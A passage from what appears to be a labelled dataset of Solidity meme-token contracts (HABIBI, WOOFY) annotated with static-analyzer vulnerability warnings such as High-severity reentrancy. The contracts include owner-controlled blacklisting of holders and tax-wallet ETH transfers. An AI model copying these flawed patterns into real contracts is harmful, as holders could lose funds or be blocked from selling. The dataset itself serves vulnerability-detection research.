_symbol = unicode\"HABIBI\";\n\n uint256 public _maxTxAmount = 2_000_000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 2_000_000 * 10 ** _decimals;\n\n uint256 public _taxSwapThreshold = 200_000 * 10 ** _decimals;\n\n uint256 public _maxTaxSwap = 750_000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 4c891eb): Habibi.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 4c891eb: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: b109fab): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for b109fab: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 5b0ab7e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 5b0ab7e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: b109fab\n\t\t// reentrancy-benign | ID: 5b0ab7e\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: b109fab\n\t\t// reentrancy-benign | ID: 5b0ab7e\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 44c305d): Habibi._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 44c305d: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 5b0ab7e\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: b109fab\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: d2e5196): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for d2e5196: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: aeddabf): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for aeddabf: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: d2e5196\n\t\t\t\t// reentrancy-eth | ID: aeddabf\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: d2e5196\n\t\t\t\t\t// reentrancy-eth | ID: aeddabf\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: aeddabf\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: aeddabf\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: aeddabf\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: d2e5196\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: aeddabf\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: aeddabf\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: d2e5196\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: b109fab\n\t\t// reentrancy-events | ID: d2e5196\n\t\t// reentrancy-benign | ID: 5b0ab7e\n\t\t// reentrancy-eth | ID: aeddabf\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimitW() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 5abde6b): Habibi.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 5abde6b: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: b109fab\n\t\t// reentrancy-events | ID: d2e5196\n\t\t// reentrancy-eth | ID: aeddabf\n\t\t// arbitrary-send-eth | ID: 5abde6b\n _taxWallet.transfer(amount);\n }\n\n function addBotW(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBotW(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 6d5fe4b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 6d5fe4b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 21e9c48): Habibi.openTrade() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 21e9c48: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: dab6da1): Habibi.openTrade() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for dab6da1: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 15a58ba): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 15a58ba: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrade() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 6d5fe4b\n\t\t// reentrancy-eth | ID: 15a58ba\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 6d5fe4b\n\t\t// unused-return | ID: 21e9c48\n\t\t// reentrancy-eth | ID: 15a58ba\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 6d5fe4b\n\t\t// unused-return | ID: dab6da1\n\t\t// reentrancy-eth | ID: 15a58ba\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 6d5fe4b\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 15a58ba\n tradingOpen = true;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 9ec40aa): Habibi.updateTaxSwapThreshold(uint256) should emit an event for _taxSwapThreshold = t * 10 ** _decimals \n\t// Recommendation for 9ec40aa: Emit an event for critical parameter changes.\n function updateTaxSwapThreshold(uint256 t) external onlyOwner {\n\t\t// events-maths | ID: 9ec40aa\n _taxSwapThreshold = t * 10 ** _decimals;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 0094909): Habibi.updateMaxTaxSwap(uint256) should emit an event for _maxTaxSwap = m * 10 ** _decimals \n\t// Recommendation for 0094909: Emit an event for critical parameter changes.\n function updateMaxTaxSwap(uint256 m) external onlyOwner {\n\t\t// events-maths | ID: 0094909\n _maxTaxSwap = m * 10 ** _decimals;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10630.sol",
"size_bytes": 20555,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract WOOFY is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 972db86): WOOFY._taxWallet should be immutable \n\t// Recommendation for 972db86: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8722ec2): WOOFY._initialBuyTax should be constant \n\t// Recommendation for 8722ec2: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: f83c50e): WOOFY._initialSellTax should be constant \n\t// Recommendation for f83c50e: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 15;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9973da5): WOOFY._reduceBuyTaxAt should be constant \n\t// Recommendation for 9973da5: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 1;\n\n\t// WARNING Optimization Issue (constable-states | ID: 60a2f7e): WOOFY._reduceSellTaxAt should be constant \n\t// Recommendation for 60a2f7e: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 1;\n\n\t// WARNING Optimization Issue (constable-states | ID: c12c3a5): WOOFY._preventSwapBefore should be constant \n\t// Recommendation for c12c3a5: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 1;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 21000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"WOOFY\";\n\n string private constant _symbol = unicode\"WOOFY\";\n\n uint256 public _maxTxAmount = 21000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 21000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: c8e7a10): WOOFY._taxSwapThreshold should be constant \n\t// Recommendation for c8e7a10: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 210000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: c44de9b): WOOFY._maxTaxSwap should be constant \n\t// Recommendation for c44de9b: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 210000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 58a4032): WOOFY.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 58a4032: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 1ba0b8b): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 1ba0b8b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: ade0a21): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for ade0a21: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 1ba0b8b\n\t\t// reentrancy-benign | ID: ade0a21\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 1ba0b8b\n\t\t// reentrancy-benign | ID: ade0a21\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 7261617): WOOFY._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 7261617: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: ade0a21\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 1ba0b8b\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: f3872e2): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for f3872e2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 7106bbf): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 7106bbf: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: f3872e2\n\t\t\t\t// reentrancy-eth | ID: 7106bbf\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: f3872e2\n\t\t\t\t\t// reentrancy-eth | ID: 7106bbf\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 7106bbf\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 7106bbf\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 7106bbf\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: f3872e2\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 7106bbf\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 7106bbf\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: f3872e2\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 1ba0b8b\n\t\t// reentrancy-events | ID: f3872e2\n\t\t// reentrancy-benign | ID: ade0a21\n\t\t// reentrancy-eth | ID: 7106bbf\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 465d696): WOOFY.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 465d696: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 1ba0b8b\n\t\t// reentrancy-events | ID: f3872e2\n\t\t// reentrancy-eth | ID: 7106bbf\n\t\t// arbitrary-send-eth | ID: 465d696\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 47716fa): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 47716fa: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 64f3db2): WOOFY.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 64f3db2: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 62a6bf5): WOOFY.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 62a6bf5: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 1aeb367): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 1aeb367: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 47716fa\n\t\t// reentrancy-eth | ID: 1aeb367\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 47716fa\n\t\t// unused-return | ID: 64f3db2\n\t\t// reentrancy-eth | ID: 1aeb367\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 47716fa\n\t\t// unused-return | ID: 62a6bf5\n\t\t// reentrancy-eth | ID: 1aeb367\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 47716fa\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 1aeb367\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10631.sol",
"size_bytes": 19466,
"vulnerability": 4
} |
{
